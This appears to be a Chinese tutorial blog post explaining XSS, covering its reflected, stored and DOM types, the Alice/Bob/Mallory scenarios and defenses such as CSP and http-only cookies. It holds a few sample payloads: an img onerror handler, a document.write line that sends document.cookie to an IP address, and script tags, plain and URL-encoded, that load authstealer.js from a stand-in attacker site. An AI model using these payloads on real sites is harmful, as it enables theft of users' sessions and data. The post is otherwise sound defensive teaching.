其他分享
首页 > 其他分享> > xss 是什么

xss 是什么

作者:互联网

XSS 原名周树人浙江李大钊,XSS其实不是XSS,是CSS避免和CSS3重名,改名叫XSS(Cross site Scripting)。

准备参考这篇文章重新梳理一下什么是xss,https://juejin.im/post/5bfcc0c75188251b8a26f794

 

攻击的原理是什么?

想尽一切方法 将一段脚本内容放到目标网站的目标浏览器上解释执行!!

里面浏览器标签的一些特性,让用户无意间执行已经被添加的恶意代码,就能浏览器做一些有攻击性的行为。

XSS 分类

  1. 反射形 xss
  2. 存储形 xss
  3. dom形 xss

 

反射形,xss:

以nodejs为例,在使用query请求中如果客户端访问的是一段html代码或js脚本,传给服务端,服务端把传参又作为响应的数据

返回给客户端。客户端会执行这段代码,这样还不算是xss,

再修改一下更形象。

如果这个请求是恶意发给中间服务,中间服务做一些修改或保存这段参数,再把它返回给其他的页面请求

这段代码也会在其他页面执行,这样就很可怕。

Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'strict-dynamic'

const arr = ['1', '2', '3', '<img src="11" one rror="console.log(window.localStorage)" />']
    const t = document.querySelector('#t')
    arr.forEach(item => {
      const p = document.createElement('p')
      p.innerHTML = item
      t.append(p)  // 正常操作是插入的节点会执行onerror
});
document.write("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
 

 

现代浏览器直接回拒绝你用这样的方式操作dom文档,因为受到CSP文档安全策略的限制: https://www.cnblogs.com/the-last/p/11437732.html

 

反射型也叫非持续性攻击,只是单次操作攻击,维基百科描述了一个这样的故事:

Alice经常访问一个特别的网站,这个网站是Bob的,他允许Alice用用户名密码登录,而且会有一些敏感信息比如交易信息,当用户登录后浏览器会保持认证信息,服务端和客户端都有Alice登录的记录。

有一天,Mallory发现Bob的网站有易遭攻击的风险

Mallory用搜索到这个网站的主页,输入input值并提及,会有一个类似这样的URL:http://bobssite.org/search?q=her%20search%20term

但是在输入一些网站不能响应的书时,他会返回:xxx not found,比如:http://bobssite.org/search?q=puppies,返回 puppies not found

然后 Mallory想到一个坏主意,他将输入换成了HTML字符串,例如:'<script type='application/javascript'>alert('xss');</script>'

这样服务器返回给客户端的时候,会在页面插入这个标签,并执行,客户端会出现一个 弹框,内容是:xss。

然后 Mallory又进一步修改了传参,他把puppies改成了恶意脚本的链接,http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>

客户端解析这个返回值,就会创建script标签,请求这个恶意的脚本,你的网站就被攻击了。

Mallory又进一步把链接加密改成了不容易被发现的格式:

http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E

更近一步,Mallory吧这个链接用e-mail给了Alice,Alice看到是Bob的网站,就点开了只是返回一个puppies not found,也并没有在意,单此时Alice的浏览器上的cookie信息交易信息,Mallory都已经能获取到了,恶意脚本注入成功,开始用真实用户的认证信息,交易信息,做一些一个违法的事情。

 

那应该如何避免这样的违法的事情发生呢?

  1. 网站的输入,禁止输入一些敏感的字符,如:link script iframe
  2. 服务端设置无效访问的重定向
  3. 服务端查明和验证会话信息是否有效
  4. 网站只展示输入查询信息的最后几位
  5. 网站可以要求用户再次输入密码,在修改访问信息之前
  6. 网站使用 https://www.cnblogs.com/the-last/p/11437732.html 文档安全策略
  7. 设置 cookie为 http-only,不可被脚本修改。

 


存储型xss,也叫持久性xss攻击

存储形和反射行攻击的区别是,储存行会把提交的代码存储到服务器端,如文件系统,sql。下次攻击的时候就不需要在提交代码。

再看一个维基百科上的故事

有一天,无聊的Mallory在Bob的网站上也注册了一个账户,Bob的网站可以留言

提交的留言都会展示在评论区,每个人都可以看到

于是,Mallory给Bob的网站加了一句这样的留言,I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">

当其他用户比如Alice看到这个评论上有个链接,当他点击这个链接的时候就会发生xss攻击,每个查看评论并点击的人都会遇到xss攻击。

这样的攻击就是一个持久化的xss。

 

敏感的带有网络请求的标签有这样几种,在输入时进行语法过滤!

<script> <link> <iframe> <img> <style> 

 

标签:xss,Mallory,网站,什么,Alice,Bob,客户端
来源: https://www.cnblogs.com/the-last/p/11611545.html